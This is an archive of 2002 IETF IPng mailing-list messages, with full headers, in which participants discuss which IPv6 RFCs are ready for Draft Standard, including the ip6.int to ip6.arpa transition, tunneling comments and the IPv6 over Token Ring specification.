(8.12.3+Sun/8.12.3/Submit) id g3OMSKMZ015098; Wed, 24 Apr 2002 15:28:20 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3OMSHGs015091 for ; Wed, 24 Apr 2002 15:28:17 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA06308 for ; Wed, 24 Apr 2002 15:28:18 -0700 (PDT) Received: from ogud.com (208-59-114-172.c3-0.129-ubr1.lnh-129.md.cable.rcn.com [208.59.114.172]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA21871; Wed, 24 Apr 2002 16:28:17 -0600 (MDT) Received: from localhost (ogud@localhost) by ogud.com (8.11.6/8.11.6) with ESMTP id g3OMSA853519; Wed, 24 Apr 2002 18:28:10 -0400 (EDT) (envelope-from ogud@ogud.com) Date: Wed, 24 Apr 2002 18:28:10 -0400 (EDT) From: Olafur Gudmundsson X-X-Sender: ogud@hlid.dc.ogud.com To: Margaret Wasserman cc: Alain Durand , , Subject: Re: Documents Ready for DS In-Reply-To: <4.2.2.20020424174706.01f61e70@mail.windriver.com> Message-ID: <20020424182541.V53504-100000@hlid.dc.ogud.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Yes, DNSext will advance this this document. If there is ever any other address record document for IPng (A6 or something else). Olafur On Wed, 24 Apr 2002, Margaret Wasserman wrote: > > Alain Durand writes: > > > > If it now belongs to DNSext, do they have plans to advance it? We are trying to > > > get all of the basic IPv6 specs advanced to DS as soon as possible, and this > > > would clearly qualify. > > > >There is a group of people working on an interoperability report. > > Great! If we can get confirmation that this document belongs to DNSext, > I will remove it from the IPv6 list. > > Thanks, > Margaret > > > > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 16:31:53 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3ONVrGs015299; Wed, 24 Apr 2002 16:31:53 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3ONVrVx015298; Wed, 24 Apr 2002 16:31:53 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3ONVnGs015291 for ; Wed, 24 Apr 2002 16:31:49 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA23054 for ; Wed, 24 Apr 2002 16:31:50 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA07919 for ; Wed, 24 Apr 2002 16:31:49 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 72B7B4B22; Thu, 25 Apr 2002 08:31:45 +0900 (JST) To: Margaret Wasserman Cc: ipng@sunroof.eng.sun.com In-reply-to: mrw's message of Wed, 24 Apr 2002 16:26:39 -0400. <4.2.2.20020424161105.01f56430@mail.windriver.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Documents Ready for DS (RFC2473) From: itojun@iijlab.net Date: Thu, 25 Apr 2002 08:31:45 +0900 Message-ID: <25287.1019691105@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >RFC2473: Generic Packet Tunneling in IPv6 Specification i have a couple of comments on this document. i'd like to see these addressed before this document proceeding further. itojun - tunnel encapsulation option (4.1.1, 5.1) does not seem to be widely implemented/operated. if my observation is correct, i'd suggest droppping it. - TOS/traffic class field processing rule is not friendly with ECN (6.4). i'd propose to add reference to RFC3168 section 9 and follow them. - icmp message relay/translation (8) does not seem to be widely implemented/operated, and could even be abused (open relay of packet - it is not mentioned in security issues section). if my observation is correct, i'd suggest removing the rule. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 16:32:52 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3ONWpGs015319; Wed, 24 Apr 2002 16:32:51 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3ONWpvI015318; Wed, 24 Apr 2002 16:32:51 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3ONWlGs015311 for ; Wed, 24 Apr 2002 16:32:47 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA26695 for ; Wed, 24 Apr 2002 16:32:48 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA04893 for ; Wed, 24 Apr 2002 17:32:47 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id DF63D4B22; Thu, 25 Apr 2002 08:32:44 +0900 (JST) To: Margaret Wasserman Cc: ipng@sunroof.eng.sun.com In-reply-to: mrw's message of Wed, 24 Apr 2002 16:26:39 -0400. <4.2.2.20020424161105.01f56430@mail.windriver.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Documents Ready for DS (RFC1886) From: itojun@iijlab.net Date: Thu, 25 Apr 2002 08:32:44 +0900 Message-ID: <25303.1019691164@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >RFC1886: DNS Extensions for IPv6 this one needs IP6.INT -> IP6.ARPA change, at least. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 17:28:37 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3P0SbGs015468; Wed, 24 Apr 2002 17:28:37 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3P0Sbho015467; Wed, 24 Apr 2002 17:28:37 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3P0SYGs015460 for ; Wed, 24 Apr 2002 17:28:34 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA28711 for ; Wed, 24 Apr 2002 17:28:34 -0700 (PDT) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA29575 for ; Wed, 24 Apr 2002 17:28:34 -0700 (PDT) Received: (from bmanning@localhost) by boreas.isi.edu (8.11.6/8.11.2) id g3P0Pfa08199; Wed, 24 Apr 2002 17:25:41 -0700 (PDT) From: Bill Manning Message-Id: <200204250025.g3P0Pfa08199@boreas.isi.edu> Subject: Re: Documents Ready for DS (RFC1886) In-Reply-To: <25303.1019691164@itojun.org> from "itojun@iijlab.net" at "Apr 25, 2 08:32:44 am" To: itojun@iijlab.net Date: Wed, 24 Apr 2002 17:25:41 -0700 (PDT) Cc: mrw@windriver.com, ipng@sunroof.eng.sun.com X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk one does not change RFCs, one issues replacements. % >RFC1886: DNS Extensions for IPv6 % % this one needs IP6.INT -> IP6.ARPA change, at least. % % itojun % -------------------------------------------------------------------- % IETF IPng Working Group Mailing List % IPng Home Page: http://playground.sun.com/ipng % FTP archive: ftp://playground.sun.com/pub/ipng % Direct all administrative requests to majordomo@sunroof.eng.sun.com % -------------------------------------------------------------------- % -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 17:32:07 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3P0W6Gs015491; Wed, 24 Apr 2002 17:32:06 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3P0W6SA015490; Wed, 24 Apr 2002 17:32:06 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3P0W2Gs015483 for ; Wed, 24 Apr 2002 17:32:02 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA00241 for ; Wed, 24 Apr 2002 17:32:01 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA09969 for ; Wed, 24 Apr 2002 18:31:58 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 54F254B22; Thu, 25 Apr 2002 09:31:54 +0900 (JST) To: Bill Manning Cc: mrw@windriver.com, ipng@sunroof.eng.sun.com In-reply-to: bmanning's message of Wed, 24 Apr 2002 17:25:41 MST. <200204250025.g3P0Pfa08199@boreas.isi.edu> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Documents Ready for DS (RFC1886) From: itojun@iijlab.net Date: Thu, 25 Apr 2002 09:31:54 +0900 Message-ID: <25735.1019694714@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >% >RFC1886: DNS Extensions for IPv6 >% this one needs IP6.INT -> IP6.ARPA change, at least. > one does not change RFCs, one issues replacements. i understand that, thanks for clarification. (sorry for continuing this on ipngwg, not dnsext0 don't we need suggestions in the document, regarding to transition from ip6.int to ip6.arpa? for example, i think client resolvers should do try blah.ip6.arpa; if (not found) try blah.ip6.int; as there are name tree populated on ip6.int. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 18:01:29 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3P11SGs018182; Wed, 24 Apr 2002 18:01:28 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3P11S19018181; Wed, 24 Apr 2002 18:01:28 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3P11PGs018167 for ; Wed, 24 Apr 2002 18:01:25 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA20623 for ; Wed, 24 Apr 2002 18:01:25 -0700 (PDT) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA21610 for ; Wed, 24 Apr 2002 19:01:24 -0600 (MDT) Received: (from bmanning@localhost) by boreas.isi.edu (8.11.6/8.11.2) id g3P0xig29915; Wed, 24 Apr 2002 17:59:44 -0700 (PDT) From: Bill Manning Message-Id: <200204250059.g3P0xig29915@boreas.isi.edu> Subject: Re: Documents Ready for DS (RFC1886) In-Reply-To: <25735.1019694714@itojun.org> from "itojun@iijlab.net" at "Apr 25, 2 09:31:54 am" To: itojun@iijlab.net Date: Wed, 24 Apr 2002 17:59:44 -0700 (PDT) Cc: bmanning@ISI.EDU, mrw@windriver.com, ipng@sunroof.eng.sun.com X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % >% >RFC1886: DNS Extensions for IPv6 % >% this one needs IP6.INT -> IP6.ARPA change, at least. % > one does not change RFCs, one issues replacements. % % i understand that, thanks for clarification. % % (sorry for continuing this on ipngwg, not dnsext0 % don't we need suggestions in the document, regarding to transition % from ip6.int to ip6.arpa? for example, i think client resolvers should % do % % try blah.ip6.arpa; % if (not found) % try blah.ip6.int; % % as there are name tree populated on ip6.int. % % itojun While there seems to be progress on the 3ffe:: front (wrt migrating it to ip6.arpa) we will be forever stuck on any 2002:: or other user maintained mappings due to RFC 3052 (I think thats the one that specifies .arpa as the swank new anchor point) so for the forseeable future, there will always be parts of the v6 tree in ip6.int that will never be reflected in ip6.arpa. ip6.arpa will remain a subset of ip6.int. one might better optimize the loop as: try blah.ip6.int; if (not found) try blah.ip6.arpa; -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 24 18:28:31 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3P1SVGs020598; Wed, 24 Apr 2002 18:28:31 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3P1SUN9020597; Wed, 24 Apr 2002 18:28:30 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3P1SQGs020579 for ; Wed, 24 Apr 2002 18:28:26 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA26715 for ; Wed, 24 Apr 2002 18:28:27 -0700 (PDT) Received: from pianosa.catch22.org (pianosa.catch22.org [64.81.48.19]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA22083 for ; Wed, 24 Apr 2002 18:28:25 -0700 (PDT) Received: by pianosa.catch22.org (Postfix, from userid 1000) id 15EAA30D; Wed, 24 Apr 2002 18:28:19 -0700 (PDT) Date: Wed, 24 Apr 2002 18:28:18 -0700 From: David Terrell To: Bill Manning Cc: itojun@iijlab.net, mrw@windriver.com, ipng@sunroof.eng.sun.com Subject: Re: Documents Ready for DS (RFC1886) Message-ID: <20020424182818.A4136@pianosa.catch22.org> Reply-To: David Terrell References: <25735.1019694714@itojun.org> <200204250059.g3P0xig29915@boreas.isi.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200204250059.g3P0xig29915@boreas.isi.edu>; from bmanning@ISI.EDU on Wed, Apr 24, 2002 at 05:59:44PM -0700 X-vi: Version 1.79 (10/23/96) The CSRG, University of California, Berkeley. X-Nethack: You feel like someone is making a pointless Nethack reference.--More-- X-Uptime: 6:13PM up 7 days, 22:57, 35 users, load averages: 0.36, 0.45, 0.40 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, Apr 24, 2002 at 05:59:44PM -0700, Bill Manning wrote: > While there seems to be progress on the 3ffe:: front > (wrt migrating it to ip6.arpa) we will be forever > stuck on any 2002:: or other user maintained mappings > due to RFC 3052 (I think thats the one that specifies > .arpa as the swank new anchor point) so for the > forseeable future, there will always be parts of the v6 > tree in ip6.int that will never be reflected in ip6.arpa. While I can understand their position (or perhaps, "taking a position that does not accept 2.0.0.2.ip6.arpa", since I don't know their motivation) since there is no standard yet coming out of ngtrans wrt that zone, it is frustrating that several years after the initiative was made to move ip6.int to .arpa that there are still large obvious barriers to doing so, and more and more IPv6 code is going to have to deal with this legacy arpa/int mess. Getting it done and cleaning up later should be a reasonably high prority. No political opinion on the worth or lack thereof of ICANN is intended or implied.... -- David Terrell | "The Court understands fully why licensing has many Nebcorp Prime Minister | advantages for software publishers. However, this dbt@meat.net | preference does not alter the Court's analysis that http://wwn.nebcorp.com/ | the substance of the transaction at issue here is a sale and not a license." - Judge Dean Pregerson, Softman v Adobe. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 25 02:34:12 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3P9YCGs007705; Thu, 25 Apr 2002 02:34:12 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3P9YC37007703; Thu, 25 Apr 2002 02:34:12 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3P9Y8Gs007688 for ; Thu, 25 Apr 2002 02:34:08 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA25656 for ; Thu, 25 Apr 2002 02:34:08 -0700 (PDT) Received: from mail-gw1.hursley.ibm.com (mail-gw1.hursley.ibm.com [194.196.110.15]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA24782 for ; Thu, 25 Apr 2002 03:34:08 -0600 (MDT) Received: from sp15en17.hursley.ibm.com (sp15at17.hursley.ibm.com [9.20.45.103]) by mail-gw1.hursley.ibm.com (AIX4.3/8.9.3/8.9.3) with ESMTP id KAA14458; Thu, 25 Apr 2002 10:34:04 +0100 Received: from hursley.ibm.com (dhcp22-167.zurich.ibm.com [9.4.22.167]) by sp15en17.hursley.ibm.com (AIX4.3/8.9.3/8.9.3) with ESMTP id KAA16306; Thu, 25 Apr 2002 10:34:04 +0100 Message-ID: <3CC7CD6B.6123BA33@hursley.ibm.com> Date: Thu, 25 Apr 2002 11:33:31 +0200 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr,de MIME-Version: 1.0 To: Margaret Wasserman CC: ipng@sunroof.eng.sun.com Subject: Re: Documents Ready for DS (RFC2470) References: <4.2.2.20020424161105.01f56430@mail.windriver.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > RFC2470: IPv6 over Token Ring I'm told there are bugs in the document, and no known implementations. So this is a candidate for further sleep, or maybe Historic. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 25 04:23:43 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3PBNgGs027310; Thu, 25 Apr 2002 04:23:42 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3PBNg4R027308; Thu, 25 Apr 2002 04:23:42 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3PBNbGs027283 for ; Thu, 25 Apr 2002 04:23:37 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA25618 for ; Thu, 25 Apr 2002 04:23:37 -0700 (PDT) Received: from roam.psg.com (H-135-207-10-70.research.att.com [135.207.10.70]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA12177 for ; Thu, 25 Apr 2002 05:23:36 -0600 (MDT) Received: from randy by roam.psg.com with local (Exim 4.04) id 170hLW-000N6e-00; Thu, 25 Apr 2002 07:23:30 -0400 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Margaret Wasserman Cc: ipng@sunroof.eng.sun.com Subject: Re: Documents Ready for DS References: <4.2.2.20020424161105.01f56430@mail.windriver.com> Message-Id: Date: Thu, 25 Apr 2002 07:23:30 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > RFC1886: DNS Extensions for IPv6 has ip6.int as opposed to arpa. randy -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 25 05:01:20 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3PC1KGs003213; Thu, 25 Apr 2002 05:01:20 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3PC1JgR003211; Thu, 25 Apr 2002 05:01:19 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3PC1GGs003204 for ; Thu, 25 Apr 2002 05:01:16 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA19195 for ; Thu, 25 Apr 2002 05:01:16 -0700 (PDT) Received: from mail2 ([209.5.151.11]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA27271 for ; Thu, 25 Apr 2002 05:01:16 -0700 (PDT) Received: from jwebmail (unverified [209.5.151.68]) by mail2 (Rockliffe SMTPRA 4.2.2) with ESMTP id ; Thu, 25 Apr 2002 05:27:18 -0700 Message-ID: <8703610.1019736202734.JavaMail.Administrator@jwebmail> Date: Thu, 25 Apr 2002 05:03:22 -0700 (PDT) From: bkhabs Reply-To: bkhabs@nc.rr.com To: mrw@windriver.com, brian@hursley.ibm.com Subject: Re: Re: Documents Ready for DS (RFC2470) Cc: ipng@sunroof.eng.sun.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: E-mailanywhere V2.0 (Windows) Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian, I am not sure about bugs, but there was at least one implementation done on the IBM line of routers (R.I.P) back in '97. Brian >On Thu, 25 Apr 2002 11:33:31 0200 Brian E Carpenter wrote. >> RFC2470: IPv6 over Token Ring > >I'm told there are bugs in the document, and no known implementations. >So this is a candidate for further sleep, or maybe Historic. > > Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 25 09:17:39 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3PGHcGs016982; Thu, 25 Apr 2002 09:17:39 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3PGHcjR016981; Thu, 25 Apr 2002 09:17:38 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3PGHYGs016972 for ; Thu, 25 Apr 2002 09:17:34 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA02760 for ; Thu, 25 Apr 2002 09:17:34 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA01745 for ; Thu, 25 Apr 2002 10:17:33 -0600 (MDT) Received: from localhost ([3ffe:501:100f:1041::6]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3PGHCo07435; Fri, 26 Apr 2002 01:17:12 +0900 (JST) Date: Fri, 26 Apr 2002 01:17:25 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: hinden@iprg.nokia.com, deering@cisco.com, mrw@windriver.com Cc: ipng@sunroof.eng.sun.com Subject: Re: new rfc2292bis draft In-Reply-To: References: User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 19 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Tue, 23 Apr 2002 01:51:41 +0900, >>>>> JINMEI Tatuya said: > I believe the change was based on the consensus on the list and we > can proceed to the next step with this version, but if you see any > problems please let me know. There has been no comment for 3 days. I believe this means the change is approved by the group, and would like to proceed to the next step. However, I'm not sure if I need to take an explicit action for this. Please tell me if I do something. Thanks, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 25 09:18:38 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3PGIcGs017105; Thu, 25 Apr 2002 09:18:38 -0700 (PDT) Received: (from majordomo@localhost) by 